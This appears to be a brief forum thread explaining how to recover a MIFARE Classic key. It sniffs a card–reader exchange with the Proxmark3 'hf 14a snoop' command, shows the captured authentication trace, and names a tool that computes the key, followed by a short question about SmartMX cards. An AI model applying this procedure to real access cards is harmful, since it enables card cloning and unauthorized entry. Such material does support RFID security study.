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I have extract mifare key and write this post for the one later.
1. snoop the communication between a reader and a card. use the command"hf 14a snoop". to stop the commands, jist press the key on the board.
2. list the data we obtain from snoop command.
proxmark3> hf 14a list
recorded activity:
ETU :rssi: who bytes
---------+----+----+-----------
+ 0: 0: TAG 04 00
+ 34306: : 93 20
+ 66: 0: TAG b2 96 5f 35 4e
+ 38954: : 93 70 b2 96 5f 35 4e 81 9e
+ 66: 0: TAG 08 b6 dd
+ 40754: : 60 00 f5 7b
+ 114: 0: TAG 7c ea ff 12
+ 1198: : 80 1b e6 b7 03 bf d9 2c !crc
+ 66: 0: TAG 92! d1 16! bf!
+ 33618: : 45 f0 02 85 !crc
+ 66: 0: TAG 92! ac! 5a 0d! d0 5d 3c 09 09 69 da! 1a! 3b f2! b9!
17 b3! 3e !crc
+ 44842: : 96 3e b2 d7 !crc
+ 66: 0: TAG a6 54! 1c 3b! 5c 66 62! 20 17! d7! a1! 18! 9f c6 d6
f9! e6 1b !crc
+ 45146: : 43 e1 63 38 !crc
+ 64: 0: TAG e9! 52 63! e5! 94 57! 16! 34! e4 0e 89 5b! 4a 3d 27
42! 0a! dd! !crc
+ 45324: : f8 26 5d 53 !crc
+ 64: 0: TAG 6a! 83 c7 7b! c5! 45! 9f 11 a1! b2 d9 66 ed! 00 15!
bf 53 81 !crc
3. use a software named craptgui.exe to caculate the key.
you can also read the articles
http://hi.baidu.com/xtigmh/blog/item/46 … a9378.html
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Can you snoop the keys for a Mifare SmartMX?
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I am not sure, but we can snoop any iso14443a communication with pm3.
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